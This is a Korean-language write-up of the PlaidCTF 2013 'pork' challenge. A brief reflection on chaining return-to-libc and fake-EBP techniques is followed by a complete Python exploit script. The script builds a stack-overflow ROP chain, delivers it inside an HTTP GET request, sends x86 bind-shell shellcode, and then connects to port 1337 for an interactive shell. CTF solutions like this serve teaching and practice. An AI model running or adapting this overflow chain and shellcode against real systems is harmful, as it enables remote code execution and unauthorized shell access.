PlaidCTF 2013 - pork

후, RTL로 RTL을 만드는 문제라고 하던 후배의 말이 뭔지 알수 있는 문제였다.

여러 가지 기법이 조합되어서 풀 수 있었던 문제.

RTL을 위한 인자를 직접 하나하나 다 만들고 쉘코드를 받아오고 RTL 도중 FEBP까지...

풀고나니 홀가분하고 나름 재미있었던 문제였다.

from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.152'
PORT = 33227
 
#======================================
buf_len = 1020
sprintf_plt = 0x0804887C
ppppr = 0x080499a5
bss = 0x0804ad44
freespace = 0x0804ab40
leave_ret = 0x08048b71
ret_arg = [ 0x8048acc, 0x80499c3, 0x80499c4, 0x8049990, 
            0x80499c4, 0x08049050, 0x08049050, 0x08049050, 
            0x8048acc, 0x80499c3, 0x80499c4, 0x8049990, 
            0x08049680, 0x08049050, 0x08049050, 0x08049050]
shellcode = ("\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89"
            "\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39"
            "\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0"
            "\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56"
            "\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f"
            "\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68"
            "\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80")
read_plt = 0x0804893C
read_got = 0x0804AC98
 
# RET = \x40\xab\x04\x08
# fd = \x04\x00\x00\x00
# target = \x40\xab\x04\x08
# length = \x54\x00\x00\x00
#======================================
 
banner()
 
print "===================[ Phase 1 : Attack with Shellcode ]=================="
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
payload = 'A'*buf_len+'AAAA'
payload += p32(sprintf_plt) + p32(ppppr+2) + p32(bss-4) + p32(read_got)
for i in range(len(ret_arg)):
    payload += p32(sprintf_plt) + p32(ppppr+2) + p32(bss+i) + p32(ret_arg[i])
payload += p32(ppppr+3) + p32(bss-8) + p32(leave_ret)
print "[*] Payload Length : "+str(len(payload))
print "[*] Send payload"
s.send('GET http://'+payload+' HTTP/1.1')
sleep(1)
print "[*] Send \\r\\n"
s.send('\r\n')
sleep(1)
print "[*] Send Shellcode"
s.send(shellcode)
sleep(1)
 
print "======================[ Phase 1 : Got the Shell ]======================"
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect((HOST, 1337))
t = Telnet()
t.sock = s2
t.interact()